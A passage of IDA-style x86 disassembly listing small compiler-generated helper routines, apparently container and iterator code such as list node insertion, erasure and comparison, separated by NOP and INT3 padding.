loc_415ABA:				; CODE XREF: sub_415AA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415ABA
		pop	edi


loc_415AED:				; CODE XREF: sub_415AA0+13j
		pop	esi
		retn	0Ch
sub_415AA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B20	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415B20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415C3A


loc_415BF8:				; CODE XREF: sub_415BE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415BF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415C3A:				; CODE XREF: sub_415BE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C70	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415C70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415C85
		mov	edi, esi


loc_415C85:				; CODE XREF: ___:00415C81j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415C9A
		mov	edi, esi


loc_415C9A:				; CODE XREF: ___:00415C96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415CC0	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415CC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D00	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D20	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D40	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415D40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415D70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DA0	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DD0	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415DD0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401CC6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E70	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415E70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415F30	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_415F8A


loc_415F48:				; CODE XREF: sub_415F30+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415F48
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415F8A:				; CODE XREF: sub_415F30+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415F30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415FC0	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_415FC0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415FD5
		mov	edi, esi


loc_415FD5:				; CODE XREF: ___:00415FD1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415FEA
		mov	edi, esi


loc_415FEA:				; CODE XREF: ___:00415FE6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416010	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416010	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416030	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416050	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416050	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416070	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416070	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416090	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4160C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160F0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4160F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416120	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_416120	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D66
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_4161C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416280	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4162DA


loc_416298:				; CODE XREF: sub_416280+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416298
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4162DA:				; CODE XREF: sub_416280+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416310	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_416310	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416325
		mov	edi, esi


loc_416325:				; CODE XREF: ___:00416321j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41633A
		mov	edi, esi


loc_41633A:				; CODE XREF: ___:00416336j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416360	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416360	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163A0	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4163A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163C0	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_4163C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163E0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_4163E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416410	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416440	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416440	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416490	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416490	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4164C0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_4164C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416550	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416550	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165A0	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4165A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416610	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416610	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416640	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416640	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4166B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
